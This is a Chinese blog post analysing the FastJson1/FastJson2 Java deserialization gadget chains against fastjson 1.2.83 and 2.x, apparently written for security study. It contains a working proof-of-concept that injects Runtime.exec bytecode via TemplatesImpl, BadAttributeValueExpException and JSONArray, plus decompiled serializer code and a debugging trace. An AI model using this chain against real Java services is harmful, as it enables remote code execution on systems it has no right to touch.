前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >FastJson1&FastJson2反序列化利用链分析

FastJson1&FastJson2反序列化利用链分析

作者头像
Al1ex
发布2024-08-05 14:31:52
1510
发布2024-08-05 14:31:52
举报
文章被收录于专栏:网络安全攻防
前言

写这篇文章的起因是在二开ysoserial的时候突然发现在Y4er师傅的ysoserial当中有两条关于FastJson的利用链,分别是FastJson1&FastJson2但是这两条利用链都不是像之前分析fastjson利用链一样,之前的利用链分析的是fastjson在解析json格式的数据时,通过构造恶意的json数据来对fastjson进行攻击,期间会涉及到1.2.24-1.2.80等不同版本的绕过以及额外数据包的依赖。而这里的FastJson1&FastJson2是利用FasJson当中某些函数的调用关系,结合java原生反序列化来对目标应用进行攻击的一种方式。

漏洞环境

fastjson1.2.83&fastjson2.x

利用链分析

我先给出我所使用的测试版payload,其大部分内容源自Y4er/ysoserial,我只是从payload当中截取出了一部分内容作为我的测试代码,并加入了一些必须的代码段,如下所示:

代码语言:javascript
复制
public class FastJson2 {

    public static byte[] getTemplates() throws IOException, CannotCompileException, NotFoundException {
        ClassPool classPool=ClassPool.getDefault();
        CtClass ctClass=classPool.makeClass("Test");
        ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
        String block = "Runtime.getRuntime().exec(\"calc\");";
        ctClass.makeClassInitializer().insertBefore(block);
        return ctClass.toBytecode();
    }

    public static void setFieldValue(Object obj,String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = getTemplates();

        //装载Templates
        TemplatesImpl template2 = new TemplatesImpl();
        TemplatesImpl template = new TemplatesImpl();
        setFieldValue(template, "_bytecodes", new byte[][] {code});
        setFieldValue(template, "_name", "Evil");


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(template);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);

        HashMap hashMap = new HashMap();
//        hashMap.put(badAttributeValueExpException,template);
        hashMap.put(template, badAttributeValueExpException);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        System.out.println(barr.toByteArray()[1522]);
        try{
            Object o = ois.readObject();
        }catch (Exception e){
        }
 }
}

我们可以直接将断点打到TemplatesImpl对象的newTransformer()上面,因为如果该利用链想要动态加载类的话,就必须要经过这个函数。由此我们可以得到一个完整的利用链,如下所示:

代码语言:javascript
复制
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:486)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties(TemplatesImpl.java:507)
at com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl.write(Unknown Source)
at com.alibaba.fastjson.serializer.ListSerializer.write(ListSerializer.java:135)
at com.alibaba.fastjson.serializer.JSONSerializer.write(JSONSerializer.java:312)
at com.alibaba.fastjson.JSON.toJSONString(JSON.java:1077)
at com.alibaba.fastjson.JSON.toString(JSON.java:1071)
at javax.management.BadAttributeValueExpException.readObject(BadAttributeValueExpException.java:86)
at java.util.HashMap.readObject(HashMap.java:1404)
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:422)

BadAttributeValueExpException对象事实上并不陌生,在rome利用链当中就曾出现过它的身影,当时的目的是通过它的readObject方法调用ToStringBean的toString方法,从而引发rome利用链。在这里val字段的值是一个JSONArray对象,所以会调用JSONArray的toString方法。但是由于JSONArray本身并没有toString方法,这里会直接调用JSON的ToString方法(JSONArray extends JSON)

在JSON的ToString会调用自身的toJSONString方法,而toJSONString方法能够调用任意类的getter方法,从而实现了getOutputProperties方法的调用,如下是toJSONString方法

toJsonString是如何实现getter的调用的?

这就要谈到ASM在FastJson当中的应用,Fastjson使用ASM来代替反射,通过ASM的ClassWriter来生成JavaBeanSerializer的子类,重写write方法,JavaBeanSerializer中的write方法会使用反射从JavaBean中获取相关信息,ASM针对不同类会生成独有的序列化工具类,比如ASMSerializer_1_Test ,也会调用getter获取类种相关信息,更详细可以参考[4]-[6]。

比如说,这一部分的函数调用从JSONSerializer.write到ListSerializer.write,然后在ListSerializer.write生成了一个反序列化工具类并赋给了itemSerializer。这一部分我们也可以从下面的变量界面看到,它为TemplatesImpl类创建了一个反序列化工具类(ASMSerializer_1_TemplatesImpl)。最后调用的write方法也是调用这个动态生成的类里面的方法,也就是在这个类里面调用的任意类的getter方法。

我们在调试当中没有办法看到动态生成的代码具体内容,所以这里我选择使用arthas工具来把这个类dump下来。其他方式可以参考[5] 为此我们需要在我们的测试代码当中加入一段自循环,让这个程序进程能够让arthas监控到。

代码语言:javascript
复制
public static void main(String[] args) throws Exception {
        byte[] code = getTemplates();

        //装载Templates
        TemplatesImpl template2 = new TemplatesImpl();
        TemplatesImpl template = new TemplatesImpl();
        setFieldValue(template, "_bytecodes", new byte[][] {code});
        setFieldValue(template, "_name", "Evil");


        JSONArray jsonArray = new JSONArray();
        jsonArray.add(template);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        setFieldValue(badAttributeValueExpException, "val", jsonArray);

        HashMap hashMap = new HashMap();
//        hashMap.put(badAttributeValueExpException,template);
        hashMap.put(template, badAttributeValueExpException);
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(hashMap);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        System.out.println(barr.toByteArray()[1522]);
        try{
            Object o = ois.readObject();
        }catch (Exception e){
        }
        while(true){}

 }

启动arthas之后,然后将arthas attach到目标进程上面

然后使用jad com.alibaba.fastjson.serializer.ASMSerializer_1_TemplatesImpl把这个类的内容dump下来,结果如下:这个类的内容很长,这里只保留write函数

代码语言:javascript
复制
Location:
/D:/Java_Tools/apache-maven-3.8.8/mvn_repo/com/alibaba/fastjson/1.2.83/fastjson-1.2.83.jar

/*
 * Decompiled with CFR.
 */
package com.alibaba.fastjson.serializer;

import com.alibaba.fastjson.serializer.JSONSerializer;
import com.alibaba.fastjson.serializer.JavaBeanSerializer;
import com.alibaba.fastjson.serializer.ObjectSerializer;
import com.alibaba.fastjson.serializer.SerialContext;
import com.alibaba.fastjson.serializer.SerializeBeanInfo;
import com.alibaba.fastjson.serializer.SerializeWriter;
import com.alibaba.fastjson.util.ASMUtils;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import java.io.IOException;
import java.lang.reflect.Type;
import java.util.Properties;

public class ASMSerializer_1_TemplatesImpl
extends JavaBeanSerializer
implements ObjectSerializer {
    public Type outputProperties_asm_fieldType = ASMUtils.getMethodType(TemplatesImpl.class, "getOutputProperties");
    public ObjectSerializer outputProperties_asm_ser_;
    public Type stylesheetDOM_asm_fieldType = ASMUtils.getMethodType(TemplatesImpl.class, "getStylesheetDOM");
    public ObjectSerializer stylesheetDOM_asm_ser_;

    public ASMSerializer_1_TemplatesImpl(SerializeBeanInfo serializeBeanInfo) {
        super(serializeBeanInfo);
    }

    public void write(JSONSerializer jSONSerializer, Object object, Object object2, Type type, int n) throws IOException {
        ObjectSerializer objectSerializer;
        if (object == null) {
            jSONSerializer.writeNull();
            return;
        }
        SerializeWriter serializeWriter = jSONSerializer.out;
        if (!this.writeDirect(jSONSerializer)) {
            this.writeNormal(jSONSerializer, object, object2, type, n);
            return;
        }
        if (serializeWriter.isEnabled(32768)) {
            this.writeDirectNonContext(jSONSerializer, object, object2, type, n);
            return;
        }
        TemplatesImpl templatesImpl = (TemplatesImpl)object;
        if (this.writeReference(jSONSerializer, object, n)) {
            return;
        }
        if (serializeWriter.isEnabled(0x200000)) {
            this.writeAsArray(jSONSerializer, object, object2, type, n);
            return;
        }
        SerialContext serialContext = jSONSerializer.getContext();
        jSONSerializer.setContext(serialContext, object, object2, 0);
        int n2 = 123;
        String string = "outputProperties";
        Object object3 = templatesImpl.getOutputProperties();
        if (object3 == null) {
            if (serializeWriter.isEnabled(964)) {
                serializeWriter.write(n2);
                serializeWriter.writeFieldNameDirect(string);
                serializeWriter.writeNull(0, 0);
                n2 = 44;
            }
        } else {
            serializeWriter.write(n2);
            serializeWriter.writeFieldNameDirect(string);
            if (object3.getClass() == Properties.class) {
                if (this.outputProperties_asm_ser_ == null) {
                    this.outputProperties_asm_ser_ = jSONSerializer.getObjectWriter(Properties.class);
                }
                if ((objectSerializer = this.outputProperties_asm_ser_) instanceof JavaBeanSerializer) {
                    ((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
                } else {
                    objectSerializer.write(jSONSerializer, object3, string, this.outputProperties_asm_fieldType, 0);
                }
            } else {
                jSONSerializer.writeWithFieldName(object3, string, this.outputProperties_asm_fieldType, 0);
            }
            n2 = 44;
        }
        string = "stylesheetDOM";
        if (!serializeWriter.isEnabled(0x2000000)) {
            object3 = templatesImpl.getStylesheetDOM();
            if (object3 == null) {
                if (serializeWriter.isEnabled(964)) {
                    serializeWriter.write(n2);
                    serializeWriter.writeFieldNameDirect(string);
                    serializeWriter.writeNull(0, 0);
                    n2 = 44;
                }
            } else {
                serializeWriter.write(n2);
                serializeWriter.writeFieldNameDirect(string);
                if (object3.getClass() == DOM.class) {
                    if (this.stylesheetDOM_asm_ser_ == null) {
                        this.stylesheetDOM_asm_ser_ = jSONSerializer.getObjectWriter(DOM.class);
                    }
                    if ((objectSerializer = this.stylesheetDOM_asm_ser_) instanceof JavaBeanSerializer) {
                        ((JavaBeanSerializer)objectSerializer).write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
                    } else {
                        objectSerializer.write(jSONSerializer, object3, string, this.stylesheetDOM_asm_fieldType, 0);
                    }
                } else {
                    jSONSerializer.writeWithFieldName(object3, string, this.stylesheetDOM_asm_fieldType, 0);
                }
                n2 = 44;
            }
        }
        string = "transletIndex";
        int n3 = templatesImpl.getTransletIndex();
        serializeWriter.writeFieldValue((char)n2, string, n3);
        n2 = 44;
        if (n2 == 123) {
            serializeWriter.write(123);
        }
        serializeWriter.write(125);
        jSONSerializer.setContext(serialContext);
    }
    ...........
    ............
    ...........
}

从上面的write函数当中,我们就能够看到它依次调用了所有的getter方法。

关于payload当中的未解之谜

fastjson1&fastjson2利用链当中,我们可以发现其中有一个行payload构造如下

代码语言:javascript
复制
hashMap.put(template, badAttributeValueExpException);//payload1,下文涉及该payload的内容,均写为payload1

按照调用关系来讲,我们完全可以写成如下的形式:([something]是指任意对象)

代码语言:javascript
复制
hashMap.put([somthing], badAttributeValueExpException);//payload2,下文涉及该payload的内容,均写为payload2

但是我们发现不行,程序在运行过程中会抛出InvocationTargetException异常,从而造成程序没有办法按照预期的逻辑走到TemplatesImpl当中的getOutputPorperties(),它的构造形式必须是hashMap.put(template, badAttributeValueExpException)更换位置、改变对象都无法使payload正常生效。

出错的原因

如下是我的调试过程: 这里经过了很多遍调试最终锁定的问题出现位置是badAttributeValueExpException的readobject,这时候前面的template已经处理完了。单步进入第一行的readFields().

然后跟着程序执行逻辑走到getField.readFields()当中,单步进入getField.readFields()

然后走到readobject0(),单步进入该函数

在readObejct0函数当中会进行字段类型的判断,当中字段的类型是Obejct类型的时候就会进入TC_Object分支,这里我们的字段是JsonArray

单步进入readOrdinaryObject函数,往下走会走到readSerialData函数的调用处,单步进入该函数

在该函数当中会对字段的内容进行反序列化操作,会经过一系列的函数调用,其目的是调用该字段类的readobject方法

单步进入invokeReadObject方法

经过如下的一些列函数调用,最终的目的地就是JsonArray的readObejct()方法。invokeReadObject->readObjectMethod.invoke->DelegatingMethodAccessorImpl.invoke->delegate.invoke->invoke0

最终到达目的地调用JsonArray的readObejct方法,该函数方法里面会调用defaultReadObject()方法,单步进入该方法

在defaultReadObject()方法当中其实就是又来一遍之前的内容,从readFields函数调用开始从走一遍,只不过这里调用的方法是defaultReadFields()

这里的嵌套调用是ArrayList类型的字段,这里的逻辑就会通过层层调用方法,想要去反射调用ArrayList的readObject方法

在ArrayListreadObject的最后,会调用一次readObject方法,这一次调用的目标对象是TemplatesImpl,这个我们从payload对象的构造上就能够获知

它的readObject方法同理也是需要经过多次反复调用,最终通过invoke方法进行反射调用,最终的代码段如下所示,该代码段位于TemplatesImpl#readObject内部,其会调用ois的readFields进行字段读取,就像之前梳理其他字段的过程一样

我们直接来到处理最关键字段的过程(我们写入的字节流对象),他首先从我们输入的序列化字节流当中拿到了对应的类型为TC_Array

单步进入readArray当中进行处理

然后单步进入ObjectInputStream#readClassDesc()

然后单步进入readNonProxyDesc(),如下所示,readDesc对象在处理当中被赋值为了序列化的字节数组对象(_bytecodes)

单步进入resolveClass,问题就出现在这里,整个程序的运行逻辑会从这里直接断开抛出异常,这里的[[B类型通过前面的判断之后走到最下面的TypeUtils.getClassFromMapping()的时候已经成为了B,此时调用的resolveClass是JSONObject#resolveClass

很显然在fastjson的checkautotype当中B这种序列化后的类型表示是并不存在的,所以直接返回报了错

问题一:badAttributeValueExpException当中的template无法正常识别,为什么外面的template能正常解析呢?

经过调试后发现,他们所调用的resolveClass()并不是同一个resolveClass(),如果把TemplatesImpl放在前面,就像下面这样

代码语言:javascript
复制
hashMap.put(template, badAttributeValueExpException);

那么在处理第一个部分的template对象的时候调用的是ObjectInputStream#resolveClass(),如下图所示

这个resolveClass什么都不管直接把输入进来的类型直接放到forName里面去找,然后返回对应的类型,所以他完全可以正常执行,而不影响到后面

问题二:既然badAttributeValueExpException当中的template不能正常解析,按理来说前一个payload1也不能执行,但是为什么可以正常执行?

答案是存在绕过现象,在之前的流程分析当中,我们大致可以理清ois对于readObject的一些处理流程,他会调用readFields()函数来对对象中的字段进行读取。而readFields里面就发生了绕过的现象,他会从我们的序列化字节流里面去拿到对应的标识tc,在之前出现过TC_Object,TC_Array等等不同的类型。

但是如果使用的是第一个payload也就是正确的payload的时候,在处理JSONArray里面的template的时候,它所获得的TC标识并不是TC_Obejct而是TC_Reference

TC_REFERENCE,是一个引用类型。从前面的几个结构可以看出来,序列化后的数据其实相当繁琐,多层嵌套很容易搞乱,在恢复对象的时候也不太容易。于是就有了引用这个东西,他可以引用在此之前已经出现过的对象。

所以正是前面出现过的template,使得后续ois在处理反序列化字节流的时候,直接形成了绕过,引用了前面已经反序列化好的template对象,避免了由于B类型没法正常识别而造成的异常。

总结

首先是被嵌套在JSONArray里面的template对象,由于JSONObject#resolve()无法正常解析B类型的缘故,所以造成payload2无法正常执行,其次是前一个template对象在ObjectInputStream#resolveClass的作用下成功解析,并协助后面的JSONArray里面的template绕过了审查。

参考文章

https://blog.kaibro.tw/2020/02/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BreadObject%E5%88%86%E6%9E%90/

https://www.163.com/dy/article/DMAD0T6P05119F6V.html

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-08-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 漏洞环境
  • 利用链分析
    • 问题一:badAttributeValueExpException当中的template无法正常识别,为什么外面的template能正常解析呢?
      • 问题二:既然badAttributeValueExpException当中的template不能正常解析,按理来说前一个payload1也不能执行,但是为什么可以正常执行?
        • 总结
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档